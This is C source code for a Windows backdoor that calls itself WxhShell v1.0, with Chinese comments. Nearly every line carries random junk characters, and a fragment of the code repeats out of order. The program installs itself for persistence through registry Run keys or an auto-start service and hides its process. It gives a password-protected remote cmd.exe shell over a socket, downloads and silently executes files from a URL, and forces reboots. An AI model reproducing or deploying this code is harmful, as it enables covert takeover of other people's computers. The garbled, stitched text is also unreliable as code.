    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fZw9zqg  
    if(Boot(SHUTDOWN)) z3vsz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MKVfy:g%So  
    else { )4'x7Qg/  
    closesocket(wsh); ~3'OiIw1@  
    ExitThread(0); dxkRk#mf:  
    } e$ XY\{  
    break; 22al  
    } 2<6`TA*m  
  // 获取shell ax72ehL}  
  case 's': { ~_l6dDJ  
    CmdShell(wsh); y ;{^Ln4{  
    closesocket(wsh); >2|[EZ  
    ExitThread(0); ]e@0T{!  
    break; !e:iB7<  
  } k"q!|+&Fs  
  // 退出 E,<\T6/%q  
  case 'x': { .0Iun+nUD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); QX/X {h6  
    CloseIt(wsh); S/nj5Lh  
    break; ;LQ# *NjL\  
    } l\T!)Ql  
  // 离开 I+Ncmg )>  
  case 'q': { Xx3 g3P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J8u{K.( *7  
    closesocket(wsh); B.}_],  
    WSACleanup(); bVa+kYE  
    exit(1); *]}CSZ[>  
    break; {uaZ<4N.  
        } !cEbz b  
  } L(WL,xnBy  
  } W.#}q K" q  
G%P>A g  
  // 提示信息 =9qGEkd3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lC'{QUC  
} u0bfX,e2U  
  } ?Do^stq'4  
c-4m8Kg?L  
  return; _KB{J7bs<a  
} V>b2b5QAH,  
}J ei$0x  
// shell模块句柄 mQd4#LJ_  
int CmdShell(SOCKET sock) _pz,okO[V  
{ e2]4a3  
STARTUPINFO si; h`wMi}q'D  
ZeroMemory(&si,sizeof(si)); |^7f\.oF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8sN#e(@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V=j-Um;  
PROCESS_INFORMATION ProcessInfo; GBH_r 0  
char cmdline[]="cmd"; K3vseor  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v2 29H<  
  return 0; _ztZ> '  
} ,op]-CY 5  
 ]{f^;y8  
// 自身启动模式 ==QWwPpA  
int StartFromService(void) hp bwZ  
{ (C8 U   
typedef struct doP$N3Zm  
{ v! 7s M  
  DWORD ExitStatus;  \#4m@  
  DWORD PebBaseAddress; ?M*7@t@  
  DWORD AffinityMask; g M4Pj[W  
  DWORD BasePriority; yfmp$GO:  
  ULONG UniqueProcessId; o&(wg(Rv  
  ULONG InheritedFromUniqueProcessId; 8YuJ8KC  
}   PROCESS_BASIC_INFORMATION; D(y+1^>  
 f~w>v  
PROCNTQSIP NtQueryInformationProcess; wP[xmO-%  
NH7`5mF$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A /q2g7My  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yJ!OsD  
Z[",$Lt  
  HANDLE             hProcess; KcC!N{  
  PROCESS_BASIC_INFORMATION pbi; %'Zc2h&z  
, N53Iic  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &4,WG  
  if(NULL == hInst ) return 0; |u@+`4o  
OF c\fW#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ojHhT\M`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !Y ( apVQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t#C,VwMe[  
!Eq#[Gs  
  if (!NtQueryInformationProcess) return 0; <d5@CA+M  
q[7CPE0n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9<yAQ?7 L  
  if(!hProcess) return 0; rh@r\ H@j  
"jMqt9ysN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JnfqXbE  
4-mVB wq  
  CloseHandle(hProcess); 3Jk[/ .h  
H&M1>JtE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |xn#\epy@  
if(hProcess==NULL) return 0; G6ayMw]OF  
m#tpbFAsc  
HMODULE hMod; {P-xCmZ~Wt  
char procName[255]; v=!YfAn  
unsigned long cbNeeded; tR kF   
(a[.vw^g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eP"`,<  
XAe\s`  
  CloseHandle(hProcess); MDJc[am  
3UdU"d[75  
if(strstr(procName,"services")) return 1; // 以服务启动 v:E;^$6Vn  
Yu'a<5f  
  return 0; // 注册表启动 L>dkrr)e  
} 74+A+SK[  
~W<CE_/]k  
// 主模块 +b^]Pz5  
int StartWxhshell(LPSTR lpCmdLine) NUCiY\td  
{ )l&D]3$6K  
  SOCKET wsl; #%:c0=  
BOOL val=TRUE; 2-~|Z=eGW  
  int port=0; F/>*If s  
  struct sockaddr_in door; nZfs=@w:y  
U@'F%nHw  
  if(wscfg.ws_autoins) Install(); owvS/"@  
fAGctRGH  
port=atoi(lpCmdLine); \R(R9cry  
w/W7N   
if(port<=0) port=wscfg.ws_port; \<~}o I  
N2BI_,hI1  
  WSADATA data; Z|G/^DK!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Us,)]W.S  
=!BobC- [b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   afHaB/t{R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ks*Y9D*=  
  door.sin_family = AF_INET; q*, Q5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u)a'  
  door.sin_port = htons(port); ,> n% ~'gb  
5Fm av5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Tzzq#z&F  
closesocket(wsl); Ytao"R/  
return 1; aBhV3Fd[B  
} !SO8O  
b O=yi)  
  if(listen(wsl,2) == INVALID_SOCKET) { +L0w;wT  
closesocket(wsl); zvY+R\,in  
return 1; >O#grDXb  
} 24u x  
  Wxhshell(wsl); iXFP5a>|  
  WSACleanup(); c pk^!@c  
i^)WPP>4Aw  
return 0; a8pY[)^c  
](#&.q%5!  
} ib$nc2BPb  
DVlJ*A  
// 以NT服务方式启动 &fwS{n;U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) glE^t6)  
{ -Fxmsi  
DWORD   status = 0; =bLY /  
  DWORD   specificError = 0xfffffff; `S3>3  
 z [C3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1D F/6y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >xqM5#m`E$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (gwj)?:  
  serviceStatus.dwWin32ExitCode     = 0; 9M a0^_  
  serviceStatus.dwServiceSpecificExitCode = 0; rv>^TR*,!  
  serviceStatus.dwCheckPoint       = 0; BQ/PGY>  
  serviceStatus.dwWaitHint       = 0; \L # INP4~  
S{#cD1>.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); maNW{"1  
  if (hServiceStatusHandle==0) return; %g3,qI  
DWU`\9xA*  
status = GetLastError(); &H||&Z[pk  
  if (status!=NO_ERROR) M6rc!K  
{ Qd &" BEs  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9MY7a=5E~  
    serviceStatus.dwCheckPoint       = 0; \K iwUz  
    serviceStatus.dwWaitHint       = 0; H={&3poBz  
    serviceStatus.dwWin32ExitCode     = status; ;apzAF  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2-'Opu  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wht(O~F  
    return; 2;$ k(x]  
  } )JD(`  
;`dh fcU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WG u%7e]  
  serviceStatus.dwCheckPoint       = 0; V0*3;n  
  serviceStatus.dwWaitHint       = 0; c~=B0K-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =JS;;PzX[  
} y "w|g~x]c  
pZ(Fx&fy  
// 处理NT服务事件,比如:启动、停止 +nL+ N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D)@XoM(  
{  k5`OH8G  
switch(fdwControl) j(rL  
{ '?QuJFki  
case SERVICE_CONTROL_STOP: @+LfQY  
  serviceStatus.dwWin32ExitCode = 0; yX!HZu;j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :hRs`=d"r  
  serviceStatus.dwCheckPoint   = 0; b'YE9E  
  serviceStatus.dwWaitHint     = 0; b:J(b?  
  { MZ> 6o5K|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FLZWZ;  
  } S4CbyXW  
  return; ln!'_\{  
case SERVICE_CONTROL_PAUSE: crcA\lJf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (u3s"I d  
  break; "2?l{4T\  
case SERVICE_CONTROL_CONTINUE: 23!;}zHp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o|BP$P8V  
  break; MJ`3ta  
case SERVICE_CONTROL_INTERROGATE: 7nU6k%_%  
  break; R\|lt)h  
}; n5-)/R[z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9BEFr/.  
} '8Ztj  
(ll*OVL  
// 标准应用程序主函数 iRV~Il#~!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FR[ B v  
{ uX/$CM  
;%C'FV e]  
// 获取操作系统版本 v``-F(i$  
OsIsNt=GetOsVer(); )E#2J$TD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =sJ _yq0#R  
[, RI-#n  
  // 从命令行安装 {c?JuV4q?  
  if(strpbrk(lpCmdLine,"iI")) Install(); lbdTQ6R  
H9)m^ *  
  // 下载执行文件 "syh=BC v  
if(wscfg.ws_downexe) {  p?D2)(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <*!i$(gn  
  WinExec(wscfg.ws_filenam,SW_HIDE); U9y|>P\)T  
} JA)?p{j  
tR0pH8?e"  
if(!OsIsNt) { z4#(Ze@u~_  
// 如果时win9x,隐藏进程并且设置为注册表启动 uMb> xxf  
HideProc(); WEg6Kz  
StartWxhshell(lpCmdLine); m([(:.X/IX  
} oX@ya3!Pz  
else )tHaB,  
  if(StartFromService()) LVJI_O{fH  
  // 以服务方式启动 7hW+T7u?  
  StartServiceCtrlDispatcher(DispatchTable); ._w8J"E5  
else :<Y}l-x  
  // 普通方式启动 [D-Q'"'A  
  StartWxhshell(lpCmdLine); "xmP6=1  
M->*{D@a  
return 0; VV4Gjc  
} %3q0(Xl  
/MMd`VrC2  
Migd(uw'  
u 's`*T@.  
=========================================== 3A:q7#m  
n<sd!xmqFx  
,;?S\V  
=gfI!w  
?"#%SKm  
QxuhGA  
" p.I.iAk%G^  
7(M(7}EKA  
#include <stdio.h> w=]Ks'C]  
#include <string.h> %W,D;?lEo>  
#include <windows.h> X"gCR n%tn  
#include <winsock2.h> A[IL H_w  
#include <winsvc.h> NjPDX>R\K  
#include <urlmon.h> 8dD2  
<!-sZ_qq  
#pragma comment (lib, "Ws2_32.lib") W?yd#j  
#pragma comment (lib, "urlmon.lib") b*a2,MiM  
|Fm6#1A@  
#define MAX_USER   100 // 最大客户端连接数 BqDKT  
#define BUF_SOCK   200 // sock buffer =S'%`]f?  
#define KEY_BUFF   255 // 输入 buffer  ~>O)  
6qN~/TnHZ  
#define REBOOT     0   // 重启 Spo?i.#  
#define SHUTDOWN   1   // 关机  ~ ~uAc_  
8l}1c=A}Vi  
#define DEF_PORT   5000 // 监听端口 2!&&|Mh}  
j'[m:/  
#define REG_LEN     16   // 注册表键长度 ^ -FX  
#define SVC_LEN     80   // NT服务名长度 yR{x}DbG  
b" xmqWa  
// 从dll定义API CT0l!J~5m~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C%*k.$#r!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J PyOG _h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1O].v&{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kGpa\c g1  
oH0X<'  
// wxhshell配置信息 M(#m0x B  
struct WSCFG { u2oKH{/z  
  int ws_port;         // 监听端口 ikWtC]y  
  char ws_passstr[REG_LEN]; // 口令 DeR='7n  
  int ws_autoins;       // 安装标记, 1=yes 0=no PH"hn]  
  char ws_regname[REG_LEN]; // 注册表键名 Vpy 2\wZWb  
  char ws_svcname[REG_LEN]; // 服务名 DG4 d"Jy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m9U"[Huv1E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x21dku<6K[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p!]6ll^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~~/xR s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" QL6C,#6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Kp+CH7I*  
Rqwzh@}  
}; ,q(&)L$S  
b jAnaya  
// default Wxhshell configuration ThPE 0V  
struct WSCFG wscfg={DEF_PORT, >!_Xgw  
    "xuhuanlingzhe", < >UPD02  
    1,  h:lt<y  
    "Wxhshell", ]Jh+'RK\#  
    "Wxhshell", gP+fN$5'd  
            "WxhShell Service", eh,~^x5  
    "Wrsky Windows CmdShell Service", ?#yV3h|Ij  
    "Please Input Your Password: ", SIBoCs5  
  1, eEhr140  
  "http://www.wrsky.com/wxhshell.exe", \!]Ua.e<  
  "Wxhshell.exe" n|GaV  
    }; TO%dw^{_`  
^(viM?*  
// 消息定义模块 M#|dIbns H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _gKe%J&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PtqJ*Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @EE."T9  
char *msg_ws_ext="\n\rExit."; @ HZKc\1  
char *msg_ws_end="\n\rQuit."; cRX~z  
char *msg_ws_boot="\n\rReboot..."; lL]y~u  
char *msg_ws_poff="\n\rShutdown..."; 4&/j|9=X  
char *msg_ws_down="\n\rSave to "; ]|<w\\^A  
Xl@cHO=i  
char *msg_ws_err="\n\rErr!"; AoA!q>  
char *msg_ws_ok="\n\rOK!"; WyP W*  
eY{+~|KZ  
char ExeFile[MAX_PATH]; ;n|^1S<[  
int nUser = 0; ~4q5 k5.,  
HANDLE handles[MAX_USER]; =] 3tUD  
int OsIsNt; bc , p }  
D&HV6#  
SERVICE_STATUS       serviceStatus; i#%aTRKHd6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; G,;,D9jO7  
EyY.KxCB  
// 函数声明 wP,JjPUt  
int Install(void); fDx9iHGv  
int Uninstall(void); Mi~(aah  
int DownloadFile(char *sURL, SOCKET wsh); eT2*W$  
int Boot(int flag); t>8XTqqi  
void HideProc(void); Scv#zuv_  
int GetOsVer(void); 1Bxmm#  
int Wxhshell(SOCKET wsl); r! Ay :r  
void TalkWithClient(void *cs); Y.^=]-n,  
int CmdShell(SOCKET sock); dMR3)CO  
int StartFromService(void); lI>SUsQFfm  
int StartWxhshell(LPSTR lpCmdLine); a<]B B$~  
g/13~UM\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I(=V}s2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QRLt9L  
OT'[:|x ;  
// 数据结构和表定义 C"IKt  
SERVICE_TABLE_ENTRY DispatchTable[] = |lv|!]qAma  
{ XD"_Iq!  
{wscfg.ws_svcname, NTServiceMain}, A)ipFB 6K  
{NULL, NULL} u.rY#cS,-R  
}; wf1lyS  
&~CY]PN.  
// 自我安装 B c2p(z4  
int Install(void) >vo=]c w  
{ l7De6A"  
  char svExeFile[MAX_PATH]; Fd*8N8Pi  
  HKEY key; M:5b4$Qh<  
  strcpy(svExeFile,ExeFile); C* nB  
}MUn/ [x  
// 如果是win9x系统,修改注册表设为自启动 %kgkXc~6|x  
if(!OsIsNt) { +**!@uY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bTQNb!&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LkQX?2>]  
  RegCloseKey(key); Ali9pvE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T6ENtp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i1 RiGS  
  RegCloseKey(key); 3P;>XGCxZ  
  return 0; dK>7fy;mv  
    } trE{FT  
  } ZcYh) HD  
} ]r_;dYa  
else { aM4k *|H?  
Hr$QLtr  
// 如果是NT以上系统,安装为系统服务 "Ky; a?Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h,"4SSL  
if (schSCManager!=0) ^eoLAL  
{ s=[h?kB  
  SC_HANDLE schService = CreateService ,!U=|c"k)  
  ( &IlU|4`R%  
  schSCManager, `Qeg   
  wscfg.ws_svcname, VE8;sGaJ  
  wscfg.ws_svcdisp, 0@AAulRl  
  SERVICE_ALL_ACCESS, d:yqj:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~Ch+5A;  
  SERVICE_AUTO_START, *}8t{ F@k  
  SERVICE_ERROR_NORMAL, W0}B'VS.I  
  svExeFile, p uT'y  
  NULL, 8mQmi`  
  NULL, 6]-SK$  
  NULL, ur$l Z0  
  NULL, [|l?2j\  
  NULL r;m)nRu  
  ); IIyI=Wl pG  
  if (schService!=0) &?h,7 D;A  
  { b:w?PC~O  
  CloseServiceHandle(schService); Ag@;  
  CloseServiceHandle(schSCManager); ;`6^6p\p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |2KAo!PI  
  strcat(svExeFile,wscfg.ws_svcname); 2YDM9`5xs\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~RWktv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MMj9{ou  
  RegCloseKey(key); ,*7d  
  return 0; -ig6w.%lk  
    }  wd)jl%  
  } /@|/^vld  
  CloseServiceHandle(schSCManager); f^VP/rdg  
} KgR<E  
} QD%L0;j  
<^$<#K d  
return 1; rl0<Ls  
} 8.[SU  
'e6WDC1Am(  
// 自我卸载 GQ |Mr{.;  
int Uninstall(void) t#2(j1  
{ P 3'O/!  
  HKEY key; 7NJhRz`_  
R+CM`4CD  
if(!OsIsNt) { O|w J)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KIWe@e  
  RegDeleteValue(key,wscfg.ws_regname); %dY<=x#b  
  RegCloseKey(key); xNbPsoK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yiO. z  
  RegDeleteValue(key,wscfg.ws_regname); F8apH{&t  
  RegCloseKey(key); NQ6sGL  
  return 0; k-}b{  
  } 8Ac:_Zg  
} sM9+dh  
} ^`G}gWBx}w  
else { l]5w$dded~  
O?|gp<=d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f!JS= N?3  
if (schSCManager!=0) Qubp9C#r  
{ ^#sU*trr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Dtj&W<NXo  
  if (schService!=0) G.UI|r /Kz  
  { gg8Uo G  
  if(DeleteService(schService)!=0) { ghRVso(  
  CloseServiceHandle(schService); F >rH^F  
  CloseServiceHandle(schSCManager); Ng_!zrx04  
  return 0; ,2W8=ON  
  } K>{T_){  
  CloseServiceHandle(schService); 53[~bwD  
  } YD7Oao4:o  
  CloseServiceHandle(schSCManager); $ , u+4h  
} X*\ J_  
} #{\%rWnCm  
JeE ;V![  
return 1; 6AhM=C  
} R47\Y  
15sp|$&`  
// 从指定url下载文件 /~<@*-'  
int DownloadFile(char *sURL, SOCKET wsh) *IM;tD+7Q~  
{ .p(T^ m2A*  
  HRESULT hr; ,KFapz!  
char seps[]= "/"; gdQvp=v]  
char *token; zOiu5  
char *file; 1Yn +<I  
char myURL[MAX_PATH]; S.f5v8  
char myFILE[MAX_PATH]; Pjc Tx +  
.qZI$ l .  
strcpy(myURL,sURL); f=9|b  
  token=strtok(myURL,seps); qXwPDq/  
  while(token!=NULL) &mx)~J^m  
  { Dg?:/=,=9r  
    file=token; v'3J.?N  
  token=strtok(NULL,seps); .yEBOMNZ  
  } 7yh /BZ1  
aSnF KB  
GetCurrentDirectory(MAX_PATH,myFILE); eYvWZJa4  
strcat(myFILE, "\\"); >o=-$gz`  
strcat(myFILE, file); # }y2)g  
  send(wsh,myFILE,strlen(myFILE),0); BGX.U\uc  
send(wsh,"...",3,0); sdo [D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k1D@fiz  
  if(hr==S_OK) 3(,?S$>  
return 0; rQ qW_t%  
else w {3<{  
return 1; )z28=%g  
Ptdpj)oi&Q  
} e(<st r>  
[wzb<"kW  
// 系统电源模块 s|y "WDyx5  
int Boot(int flag) ZG&>:Si;  
{ mmk=97  
  HANDLE hToken; #iHs* /85  
  TOKEN_PRIVILEGES tkp; O[ef#R!  
TJR:vr  
  if(OsIsNt) { fNW"+ <W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WL"^>[Vq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jr:7?8cH0L  
    tkp.PrivilegeCount = 1; j=r P:#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @pRlxkvV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ][p>Y>:b-  
if(flag==REBOOT) { ~XmLX)vO/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G VYkJ0,  
  return 0; Yz +ZY  
} rr02pM0  
else { M,\:<kNI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x5-}h*  
  return 0; S;286[oq@  
} Rx=>6,)'  
  } lUMS;H(  
  else { fUA uqfj[  
if(flag==REBOOT) { 1`qMj0Y_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IvtJ0  
  return 0; _v> }_S  
} hJpxf,?'K  
else { A"dR{8&0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Lo N< oj5  
  return 0; T~##,qQ  
} ;"~ fZ2$U  
} x#xFh0CA  
:Ra,Eu  
return 1; Xx0hc 8qd  
} U"^kH|  
,N]H dR  
// win9x进程隐藏模块 \=ux atw  
void HideProc(void) (G;l x  
{ U`NjPZe5^  
'9 [vDG~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %1xb,g KO  
  if ( hKernel != NULL ) zv\kPfGDK  
  { AW!?"xdZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n%.7h3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /YMj-S_b~  
    FreeLibrary(hKernel); '6cWS'9"  
  } Enn"hdI  
1;Cyz)  
return; LcTt)rs f  
} O @j} K4  
':3 pq2{  
// 获取操作系统版本 {YAJBIvHV  
int GetOsVer(void) jN;@=COi  
{ DN-+osPi  
  OSVERSIONINFO winfo; q=Sgk>NA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %Q fO8P  
  GetVersionEx(&winfo); c]n1':FT"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7'W%blg!V  
  return 1; {byBc G  
  else g+Sbl  
  return 0; 1VG4S){}\9  
} Uyg5i[&X@  
aJbO((%$|u  
// 客户端句柄模块 4gz H8sF  
int Wxhshell(SOCKET wsl) 7WkB>cn  
{ V k  K  
  SOCKET wsh; 8"2=U6*C  
  struct sockaddr_in client; $0>60<J  
  DWORD myID; %7IugHH9y  
p93r'&Q  
  while(nUser<MAX_USER) yW1)vD7  
{ 7XTkX"zKj  
  int nSize=sizeof(client); 8hOk{xs8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t(NI-UXBp  
  if(wsh==INVALID_SOCKET) return 1; g(qJN<R C/  
*rs5]U<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c1k/UcEcg~  
if(handles[nUser]==0) M3c$=>  
  closesocket(wsh); e.7EU  
else IEsEdw]aZE  
  nUser++; M/>7pZW  
  } hKLCJ#T  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +./H6!  
e,vvzs o  
  return 0; 1PQ~jfGi  
} nYR#  
K1"*.\?F  
// 关闭 socket V3Q+s8OIF  
void CloseIt(SOCKET wsh) bMg(B-uF7  
{ Ui_8)z _  
closesocket(wsh); !;Yg/'vD-  
nUser--; cl=EA6P\X  
ExitThread(0); aQ?/%\>  
} \r^qL^  
Y)0*b5?1r  
// 客户端请求句柄 DS.RURzd{r  
void TalkWithClient(void *cs) A}G7l?V&  
{ dMf:h"7  
8<S~Z:JK  
  SOCKET wsh=(SOCKET)cs; ]@j*/IP  
  char pwd[SVC_LEN]; %Gz0^[+  
  char cmd[KEY_BUFF]; )t0$qd ]  
char chr[1]; Vd,jlt.t  
int i,j; rzhWw-GY  
J%v=yBC2  
  while (nUser < MAX_USER) { +%T\`6  
TN!j13,  
if(wscfg.ws_passstr) { U\4g#!qj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `#F{Waww'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g]<4&)~  
  //ZeroMemory(pwd,KEY_BUFF); vM*-D{  
      i=0; [842&5Pd?  
  while(i<SVC_LEN) { DBW[{D E  
QR c{vUR&  
  // 设置超时 w28o}$b`  
  fd_set FdRead; @=bLDTx;c)  
  struct timeval TimeOut; Q('r<v96  
  FD_ZERO(&FdRead); `5cKA;j>b  
  FD_SET(wsh,&FdRead); ddJQC|xR}  
  TimeOut.tv_sec=8; >kj`7GA  
  TimeOut.tv_usec=0; qON|4+~u%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @Owb?(6?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cs,N <|  
+%zAQeb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7 E r23Q  
  pwd=chr[0]; V+* P2|  
  if(chr[0]==0xd || chr[0]==0xa) { q8X feoUV  
  pwd=0; ]fx"4qKM  
  break; T*8VDY7  
  } >BIMi^  
  i++; f=(?JT  
    } q@QksAq  
3GaQk-  
  // 如果是非法用户,关闭 socket 5,3'=mA6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hm84Aq= f  
} q+H%)kF  
6]V4muz#c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bU>U14ix<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *g:4e3Iy  
wa<MRt W=  
while(1) { I WTwz!+  
lGV0 *Cji  
  ZeroMemory(cmd,KEY_BUFF); q.KG^=10  
6Z>FTz_  
      // 自动支持客户端 telnet标准   A>vBQN  
  j=0; UldXYtGe  
  while(j<KEY_BUFF) { ''q@>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O,+1<.;+  
  cmd[j]=chr[0]; $? m9")  
  if(chr[0]==0xa || chr[0]==0xd) { rXmn7;B}g  
  cmd[j]=0; 9oyE$S h]  
  break; 04LI]'  
  } <{dVKf,e  
  j++; h;C5hU 4P  
    } *rM^;4Zt  
,0~^>K  
  // 下载文件 G"-?&)M#a  
  if(strstr(cmd,"http://")) { ' KWyx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9v;Vv0k_  
  if(DownloadFile(cmd,wsh)) Od)Uv1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qW$<U3u}  
  else F f$L|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  A sQ)q  
  } Lz`E;k^  
  else { 8UXjm_B^'  
@)UZ@ ~R  
    switch(cmd[0]) { 8ZM?)# `@{  
  G! ]k#.^A,  
